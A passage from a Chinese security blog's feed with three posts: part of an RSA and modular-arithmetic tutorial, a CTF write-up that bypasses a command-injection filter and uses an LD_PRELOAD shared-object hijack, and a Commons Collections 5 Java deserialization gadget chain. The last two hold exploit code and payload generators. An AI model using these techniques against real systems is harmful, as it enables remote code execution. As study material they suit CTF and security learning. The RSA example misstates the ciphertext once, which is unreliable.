href="#乘法逆元模逆元">#</a> 乘法逆元 (模逆元)</h3><p>模逆元也称为模倒数。</p><p>一整数 𝑎 对同余 𝑛 之模逆元是指满足以下公式的整数 𝑏:</p><p><img src="https://img-blog.csdnimg.cn/12c59c3f2e6e421ab7f18a30d9f77fb2.png" alt="在这里插入图片描述"></p><p>也可以写成以下的式子:</p><p><img src="https://img-blog.csdnimg.cn/d7d8c79d32af4686a643fcf6615742a9.png" alt="在这里插入图片描述"></p><p>整数 𝑎 对模数 𝑛 之模逆元存在的充分必要条件是 𝑎 和 𝑛 互素,若此模逆元存在,在模数 𝑛 下的除法可以用和对应模逆元的乘法来达成,此概念和实数除法的概念相同。</p><p><img src="https://img-blog.csdnimg.cn/9a93305db52546e7b3d4a25be7976ba9.png" alt="在这里插入图片描述"></p><h3 id="python实现模逆元"><a class="markdownIt-Anchor" href="#python实现模逆元">#</a> Python 实现模逆元</h3><p>可以使用 Python 第三方包 Crypto 的 inverse () 函数求模逆元。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> Crypto.Util.number import inverse</span><br><span class="line"><span class="keyword">print</span>(<span class="title function_ invoke__">inverse</span>(<span class="number">3</span>, <span class="number">7</span>)) <span class="comment"># 3 是要求逆元的数,7是模数</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#5</span></span><br></pre></td></tr></table></figure><p>可以使用 Python 第三方包 gmpy2 的 invert () 函数求模逆元。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> gmpy2 import invert</span><br><span class="line"><span class="keyword">print</span>(<span class="title function_ invoke__">invert</span>(<span class="number">3</span>, <span class="number">7</span>)) <span class="comment"># 3 是要求逆元的数,7是模数</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#5</span></span><br></pre></td></tr></table></figure><p>可以在 SageMath 中直接用 inverse_mod () 函数求模逆元。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">inverse_mod</span>(<span class="number">3</span>, <span class="number">7</span>) <span class="comment"># 3 是要求逆元的数,7是模数</span></span><br></pre></td></tr></table></figure><h3 id="模运算-2"><a class="markdownIt-Anchor" href="#模运算-2">#</a> 模运算</h3><p>加法</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">3</span> + <span class="number">4</span> ≡ <span class="number">0</span> (𝑚𝑜𝑑 <span class="number">7</span>)</span><br><span class="line"><span class="number">5</span> + <span class="number">5</span> ≡ <span class="number">3</span> (𝑚𝑜𝑑 <span class="number">7</span>)</span><br><span class="line"><span class="number">1</span> + <span class="number">5</span> ≡ <span class="number">6</span> (𝑚𝑜𝑑 <span class="number">7</span>)</span><br></pre></td></tr></table></figure><p>减法</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">5</span> − <span class="number">2</span> ≡ <span class="number">3</span> (𝑚𝑜𝑑 <span class="number">7</span>)</span><br><span class="line"><span class="number">3</span> − <span class="number">5</span> ≡ <span class="number">3</span> − <span class="number">5</span> + <span class="number">7</span> ≡ <span class="number">3</span> + <span class="number">2</span> (𝑚𝑜𝑑 <span class="number">7</span>)</span><br></pre></td></tr></table></figure><p>乘法</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">3</span> × <span class="number">4</span> ≡ <span class="number">5</span> (𝑚𝑜𝑑 <span class="number">7</span>)</span><br><span class="line"><span class="number">2</span> × <span class="number">2</span> ≡ <span class="number">4</span> (𝑚𝑜𝑑 <span class="number">7</span>)</span><br></pre></td></tr></table></figure><p>模运算没有除法 (此处结合乘法逆元)</p><p><img src="https://img-blog.csdnimg.cn/a0d893b0a52e4f7283bcc9d69a88ed24.png" alt="在这里插入图片描述"></p><p><img src="https://img-blog.csdnimg.cn/93e08ed2edd046d5b9f6efc84efc7475.png" alt="在这里插入图片描述"></p><h3 id="欧拉函数"><a class="markdownIt-Anchor" href="#欧拉函数">#</a> 欧拉函数</h3><p>Zm 内与 m 互素的整数的个数可以表示为 φ(n)</p><p>示例:</p><p 0,="" 1,="" 2,="" 3,="" 4,="" 5="">假设 m 等于 6 时,现在对应的集合为</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">GCD</span>(<span class="number">0</span>, <span class="number">6</span>) = <span class="number">6</span></span><br><span class="line"><span class="title function_ invoke__">GCD</span>(<span class="number">1</span>, <span class="number">6</span>) = <span class="number">1</span>------互素</span><br><span class="line"><span class="title function_ invoke__">GCD</span>(<span class="number">2</span>, <span class="number">6</span>) = <span class="number">2</span></span><br><span class="line"><span class="title function_ invoke__">GCD</span>(<span class="number">3</span>, <span class="number">6</span>) = <span class="number">3</span></span><br><span class="line"><span class="title function_ invoke__">GCD</span>(<span class="number">4</span>, <span class="number">6</span>) = <span class="number">2</span></span><br><span class="line"><span class="title function_ invoke__">GCD</span>(<span class="number">5</span>, <span class="number">6</span>) = <span class="number">1</span>------互素</span><br></pre></td></tr></table></figure><p>由于该集合中,有两个与 6 互素的数字,即 1 和 5</p><p>所以欧拉函数的值为 2,即 φ(6) = 2。</p><p>φ(n)=(p-1)(q-1) //pq 为不相等的质数</p><h2 id="秘钥生成"><a class="markdownIt-Anchor" href="#秘钥生成">#</a> 秘钥生成</h2><p>1、选择两个不相等的质数 p 和 q</p><p>2、计算 q 与 p 的乘积 n</p><p>3、计算 n 的欧拉函数 φ(n)</p><p>4、选择一个整数 e,(1<e<φ(n)),且 e 与 φ(n) 互质</p><p>5、计算 e 对于 φ(n) 的模反元素 d,公式表示为 <code>ed≡1(modφ(n))</code></p><p>6、(n,e) 打包为公钥,(n,d) 打包为秘钥</p><h2 id="加解密函数"><a class="markdownIt-Anchor" href="#加解密函数">#</a> 加解密函数</h2><p><img src="https://img-blog.csdnimg.cn/44d5e9a4a31a411da09bc758be3623a3.png" alt="在这里插入图片描述"></p><h2 id="加密过程"><a class="markdownIt-Anchor" href="#加密过程">#</a> 加密过程</h2><p>1、首先取一个明文 m,假设为 4</p><p>2、选择不相等的质数。假设 q=3,p=11</p><p>3、计算 n=pq=33</p><p>4、计算 φ(n)=(p-1)(q-1)=(3-1)(11-1)=20</p><p>5、选择一个整数 e,假设 e=3</p><p>6、计算 d ≡ e⁻¹ ≡ 7 mod 20, 即 d = 7</p><p><img src="https://img-blog.csdnimg.cn/fb3eb258a52448bca6c167bdcd31746c.png" alt="在这里插入图片描述"></p><p>7、计算 mᵉ ≡ c mod n,即 64 ≡ 31 mod 33,得到 c = 33</p><p>此时得到密文 c = 31,公钥对 (33,3),私钥对 (33,7)</p><h2 id="解密过程"><a class="markdownIt-Anchor" href="#解密过程">#</a> 解密过程</h2><p>1、假设只知道 n=33,c=31,e=3</p><p>2、首先分解 n,n=11・3</p><p>3、计算欧拉函数 φ(n)=(11-1)・(3-1)=20</p><p>4、计算模反元素 d,根据 <code>ed≡1(modφ(n))</code> ,d=(20+1)/3=7</p><p>5、解密 <code>cᵈ ≡ m mod n</code> ,即 31⁷ ≡ m mod 33,计算得到 m = 4</p>]]></content>
<tags>
<tag> 密码学 </tag>
<tag> RSA </tag>
<tag> 数论 </tag>
</tags>
</entry>
<entry>
<title>湖湘杯 2021 final MultistaeAgency</title>
<link href="/2022/09/21/%5B%E6%B9%96%E6%B9%98%E6%9D%AF%202021%20final%5DMultistaeAgency/"/>
<url>/2022/09/21/%5B%E6%B9%96%E6%B9%98%E6%9D%AF%202021%20final%5DMultistaeAgency/</url>
<content type="html"><![CDATA[<h3 id="附件"><a class="markdownIt-Anchor" href="#附件">#</a> 附件</h3><p><img src="https://img-blog.csdnimg.cn/d6b8b5877a73434ebaa441197c5894ca.png" alt="在这里插入图片描述"></p><p>web 下的 main.go<br><img src="https://img-blog.csdnimg.cn/ee85e82d83d64d0abdd59a50436f8e6f.png" alt="在这里插入图片描述"><br>存在三个路径<br> list 展示上传到 token 下的文件<br><img src="https://img-blog.csdnimg.cn/d6554ea5d1704a5284eb3ecf6d152cf7.png" alt="在这里插入图片描述"></p><p>upload 上传文件并请求内网 9091 的 manage 接口<br><img src="https://img-blog.csdnimg.cn/479cabe06a3340baaecc1a4c01bfebf1.png" alt="在这里插入图片描述"></p><p>token:获取 token 并添加环境变量<br><img src="https://img-blog.csdnimg.cn/3a189c683b6b4ceba2dcb56fd75c6004.png" alt="在这里插入图片描述"><br> manage 接口</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">manage</span><span class="params">(w http.ResponseWriter, r *http.Request)</span></span> {</span><br><span class="line">values := r.URL.Query()</span><br><span class="line">m := values.Get(<span class="string">"m"</span>)</span><br><span class="line"><span class="keyword">if</span> !waf(m) {</span><br><span class="line">fmt.Fprintf(w, <span class="string">"waf!"</span>)</span><br><span class="line"><span class="keyword">return</span></span><br><span class="line">}</span><br><span class="line">cmd := fmt.Sprintf(<span class="string">"rm -rf uploads/%s"</span>, m)</span><br><span class="line">fmt.Println(cmd)</span><br><span class="line">command := exec.Command(<span class="string">"bash"</span>, <span class="string">"-c"</span>, cmd)</span><br><span class="line">outinfo := bytes.Buffer{}</span><br><span class="line">outerr := bytes.Buffer{}</span><br><span class="line">command.Stdout = &outinfo</span><br><span class="line">command.Stderr = &outerr</span><br><span class="line">err := command.Start()</span><br><span class="line">res := <span class="string">"ERROR"</span></span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> {</span><br><span class="line">fmt.Println(err.Error())</span><br><span class="line">}</span><br><span class="line"><span class="keyword">if</span> err = command.Wait(); err != <span class="literal">nil</span> {</span><br><span class="line">res = outerr.String()</span><br><span class="line">} <span class="keyword">else</span> {</span><br><span class="line">res = outinfo.String()</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line">fmt.Fprintf(w, res)</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>在这里存在 rce 的点</p><p>其中有一个 waf</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">waf</span><span class="params">(c <span class="type">string</span>)</span></span> <span class="type">bool</span> {</span><br><span class="line"><span class="keyword">var</span> t <span class="type">int32</span></span><br><span class="line">t = <span class="number">0</span></span><br><span class="line">blacklist := []<span class="type">string</span>{<span class="string">"."</span>, <span class="string">"*"</span>, <span class="string">"?"</span>}</span><br><span class="line"><span class="keyword">for</span> _, s := <span class="keyword">range</span> c {</span><br><span class="line"><span class="keyword">for</span> _, b := <span class="keyword">range</span> blacklist {</span><br><span class="line"><span class="keyword">if</span> b == <span class="type">string</span>(s) {</span><br><span class="line"><span class="keyword">return</span> <span class="literal">false</span></span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"><span class="keyword">if</span> unicode.IsLetter(s) {</span><br><span class="line"><span class="keyword">if</span> t == s {</span><br><span class="line"><span class="keyword">continue</span></span><br><span class="line">}</span><br><span class="line"><span class="keyword">if</span> t == <span class="number">0</span> {</span><br><span class="line">t = s</span><br><span class="line">} <span class="keyword">else</span> {</span><br><span class="line"><span class="keyword">return</span> <span class="literal">false</span></span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="literal">true</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>既然会加载环境变量,可以让其加载恶意的 so 文件来 rce</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">#</span><span class="language-bash">include<stdlib.h></span></span><br><span class="line">__attribute__((constructor)) void l3yx(){</span><br><span class="line"> unsetenv("LD_PRELOAD");</span><br><span class="line"> system(getenv("_evilcmd"));</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">gcc -shared -fPIC -o evil.so evil.c</span><br></pre></td></tr></table></figure><p>大致思路:<br>通过上传恶意的 so 文件来 rce,先访问 /token 获取到 token 的值,因为后面会有检验,upload 会将其移动到 token 目录下,上传会发现其请求 <code>/token?http_proxy=127.0.0.1:8080</code> 获取到 token,也就是 proxy 代理实现。再去 curl 内网的 9091manage 接口,将 m 参数传入即可得到 flag,当然还要先绕过 waf</p><p><img src="https://img-blog.csdnimg.cn/fca4867e50aa417c80b2b2c2f8ec07d5.png" alt="在这里插入图片描述"></p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">/token?http_proxy=<span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">8080</span>&LD_PRELOAD=/code/uploads/<span class="number">2</span>ea6a3a71d0b2db658544f67f1468897/XVlBz&_evilcmd=ls /</span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> urllib.parse <span class="keyword">import</span> quote</span><br><span class="line">n = <span class="built_in">dict</span>()</span><br><span class="line">n[<span class="number">0</span>] = <span class="string">'0'</span></span><br><span class="line">n[<span class="number">1</span>] = <span class="string">'${##}'</span></span><br><span class="line">n[<span class="number">2</span>] = <span class="string">'$((${##}<<${##}))'</span></span><br><span class="line">n[<span class="number">3</span>] = <span class="string">'$(($((${##}<<${##}))#${##}${##}))'</span></span><br><span class="line">n[<span class="number">4</span>] = <span class="string">'$((${##}<<$((${##}<<${##}))))'</span></span><br><span class="line">n[<span class="number">5</span>] = <span class="string">'$(($((${##}<<${##}))#${##}0${##}))'</span></span><br><span class="line">n[<span class="number">6</span>] = <span class="string">'$(($((${##}<<${##}))#${##}${##}0))'</span></span><br><span class="line">n[<span class="number">7</span>] = <span class="string">'$(($((${##}<<${##}))#${##}${##}${##}))'</span></span><br><span class="line"></span><br><span class="line">f=<span class="string">''</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">str_to_oct</span>(<span class="params">cmd</span>):</span><br><span class="line"> s = <span class="string">""</span></span><br><span class="line"> <span class="keyword">for</span> t <span class="keyword">in</span> cmd:</span><br><span class="line"> o = (<span class="string">'%s'</span> % (<span class="built_in">oct</span>(<span class="built_in">ord</span>(t))))[<span class="number">2</span>:]</span><br><span class="line"> s+=<span class="string">'\\'</span>+o</span><br><span class="line"> <span class="keyword">return</span> s</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">build</span>(<span class="params">cmd</span>):</span><br><span class="line"> payload = <span class="string">"$0<<<$0\<\<\<\$\\\'"</span></span><br><span class="line"> s = str_to_oct(cmd).split(<span class="string">'\\'</span>)</span><br><span class="line"> <span class="keyword">for</span> _ <span class="keyword">in</span> s[<span class="number">1</span>:]:</span><br><span class="line"> payload+=<span class="string">"\\\\"</span></span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> _:</span><br><span class="line"> payload+=n[<span class="built_in">int</span>(i)]</span><br><span class="line"> <span class="keyword">return</span> payload+<span class="string">'\\\''</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(quote(quote(<span class="string">"123;"</span>+build(<span class="string">"cat /flag"</span>))))</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="https://img-blog.csdnimg.cn/d8ce9214a7694fe094dc9bc2f912e15a.png" alt="在这里插入图片描述"></p>]]></content>
<tags>
<tag> 代码审计 </tag>
<tag> Go </tag>
</tags>
</entry>
<entry>
<title>Commons Collections5</title>
<link href="/2022/08/21/Commons%20Collections5/"/>
<url>/2022/08/21/Commons%20Collections5/</url>
<content type="html"><![CDATA[<h3 id="环境"><a class="markdownIt-Anchor" href="#环境">#</a> 环境</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><dependency></span><br><span class="line"> <groupId>commons-collections</groupId></span><br><span class="line"> <artifactId>commons-collections</artifactId></span><br><span class="line"> <version><span class="number">3.1</span></version></span><br><span class="line"></dependency></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>依然是 cc1 的变形</p><h3 id="审计"><a class="markdownIt-Anchor" href="#审计">#</a> 审计</h3><p>直接来看 <code>Map</code> 的 <code>get()</code> 方法</p><p><code>TideMapEntry</code> 中的 <code>getValue()</code> 中有调用 <code>get()</code> 方法</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> Object <span class="title function_">getValue</span><span class="params">()</span> {</span><br><span class="line"> <span class="keyword">return</span> map.get(key);</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>并在 <code>toString()</code> 方法中调用 <code>getvalue()</code> <br> 关于这个 <code>toString()</code> 印象很深<br>源自某 CTF 题目</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> String <span class="title function_">toString</span><span class="params">()</span> {</span><br><span class="line"> <span class="keyword">return</span> getKey() + <span class="string">"="</span> + getValue();</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>这里的 <code>map</code> 属性是通过 <code>TideMapEntry</code> 来构造赋值的,也就是将 <code>cc1</code> 中 <code>LazyMap</code> 换做 <code>TideMapEntry</code> 来构造属性</p><p>下面就需要找到一个重写的 <code>readObject</code> 方法并且可以调用 <code>toString</code> 的方法</p><p><code>BadAttributeValueExpException0</code> 的 <code>readObject()</code> 方法</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">readObject</span><span class="params">(ObjectInputStream ois)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException {</span><br><span class="line"> ObjectInputStream.<span class="type">GetField</span> <span class="variable">gf</span> <span class="operator">=</span> ois.readFields();</span><br><span class="line"> <span class="type">Object</span> <span class="variable">valObj</span> <span class="operator">=</span> gf.get(<span class="string">"val"</span>, <span class="literal">null</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (valObj == <span class="literal">null</span>) {</span><br><span class="line"> val = <span class="literal">null</span>;</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (valObj <span class="keyword">instanceof</span> String) {</span><br><span class="line"> val= valObj;</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (System.getSecurityManager() == <span class="literal">null</span></span><br><span class="line"> || valObj <span class="keyword">instanceof</span> Long</span><br><span class="line"> || valObj <span class="keyword">instanceof</span> Integer</span><br><span class="line"> || valObj <span class="keyword">instanceof</span> Float</span><br><span class="line"> || valObj <span class="keyword">instanceof</span> Double</span><br><span class="line"> || valObj <span class="keyword">instanceof</span> Byte</span><br><span class="line"> || valObj <span class="keyword">instanceof</span> Short</span><br><span class="line"> || valObj <span class="keyword">instanceof</span> Boolean) {</span><br><span class="line"> val = valObj.toString();</span><br><span class="line"> } <span class="keyword">else</span> { <span class="comment">// the serialized object is from a version without JDK-8019292 fix</span></span><br><span class="line"> val = System.identityHashCode(valObj) + <span class="string">"@"</span> + valObj.getClass().getName();</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>其中</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">ObjectInputStream.<span class="type">GetField</span> <span class="variable">gf</span> <span class="operator">=</span> ois.readFields();</span><br><span class="line"><span class="type">Object</span> <span class="variable">valObj</span> <span class="operator">=</span> gf.get(<span class="string">"val"</span>, <span class="literal">null</span>);</span><br><span class="line">val = valObj.toString();</span><br></pre></td></tr></table></figure><p>只要让 <code>valObj</code> 是 <code>TiedMapEntry</code> 类的对象即可</p><p>利用链</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">ObjectInputStream.readObject()</span><br><span class="line"> BadAttributeValueExpException.readObject()</span><br><span class="line"> TiedMapEntry.toString()</span><br><span class="line"> LazyMap.get()</span><br><span class="line"> ChainedTransformer.transform()</span><br><span class="line"> ConstantTransformer.transform()</span><br><span class="line"> InvokerTransformer.transform()</span><br><span class="line"> Method.invoke()</span><br><span class="line"> Class.getMethod()</span><br><span class="line"> InvokerTransformer.transform()</span><br><span class="line"> Method.invoke()</span><br><span class="line"> Runtime.getRuntime()</span><br><span class="line"> InvokerTransformer.transform()</span><br><span class="line"> Method.invoke()</span><br><span class="line"> Runtime.exec()</span><br></pre></td></tr></table></figure><p>直接对照着当时的 <code>cc1</code> 把后面的 <code>AnnotationInvocationHandler</code> 换成 <code>BadAttributeValueExpException</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.keyvalue.TiedMapEntry;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.LazyMap;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.management.BadAttributeValueExpException;</span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.lang.annotation.Retention;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Proxy;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">cc5</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception {</span><br><span class="line"></span><br><span class="line"><span class="comment">// Runtime r = Runtime.getRuntime();</span></span><br><span class="line"><span class="comment">// InvokerTransformer invokerTransformer = new InvokerTransformer("exec",</span></span><br><span class="line"><span class="comment">// new Class[]{String.class}, new Object[]{"calc"});</span></span><br><span class="line"></span><br><span class="line"> Transformer[] transformers = <span class="keyword">new</span> <span class="title class_">Transformer</span>[]{</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(Class.forName(<span class="string">"java.lang.Runtime"</span>)),</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"getMethod"</span>,</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">Class</span>[]{String.class,Class[].class},</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">Object</span>[]{<span class="string">"getRuntime"</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[<span class="number">0</span>]}),</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"invoke"</span>,</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">Class</span>[]{Object.class,Object[].class},</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">Object</span>[]{<span class="literal">null</span>,<span class="keyword">new</span> <span class="title class_">Object</span>[<span class="number">0</span>]}),</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"exec"</span>,</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">Class</span>[]{String.class},</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">Object</span>[]{<span class="string">"calc"</span>})</span><br><span class="line"> } ;</span><br><span class="line"> <span class="type">ChainedTransformer</span> <span class="variable">chainedTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(transformers);</span><br><span class="line"> <span class="type">Map</span> <span class="variable">innerMap</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">HashMap</span>();</span><br><span class="line"></span><br><span class="line"> <span class="type">Map</span> <span class="variable">outerMap</span> <span class="operator">=</span> LazyMap.decorate(innerMap,chainedTransformer);</span><br><span class="line"></span><br><span class="line"> <span class="type">TiedMapEntry</span> <span class="variable">tiedMapEntry</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title 